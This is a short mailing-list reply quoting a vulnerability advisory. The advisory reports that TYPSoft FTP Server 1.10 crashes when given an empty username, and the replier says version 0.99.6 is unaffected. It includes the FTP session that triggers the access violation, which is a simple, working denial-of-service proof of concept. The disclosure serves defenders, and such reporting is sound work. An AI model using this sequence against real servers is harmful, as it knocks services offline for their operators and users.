The "TYPSoft FTP Server 0.99.6" has not this bug. ib> Application: TYPSoft FTP Server ib> http://www.typsoft.com ib> Version: 1.10 ib> Bug: Denial Of Service ib> TYPSoft FTP Server may be crashed with empty USERNAME. ib> ----------------------------------------------------------------------- ib> 220 TYPSoft FTP Server 1.10 ready... ib> USER ib> 331 Password required for . ib> PASS ib> 501 Access violation at address 77F526AB in module 'ntdll.dll'. ib> Write of address 00404C4D ib> ----------------------------------------------------------------------- ib> and the ftp server may be crashed.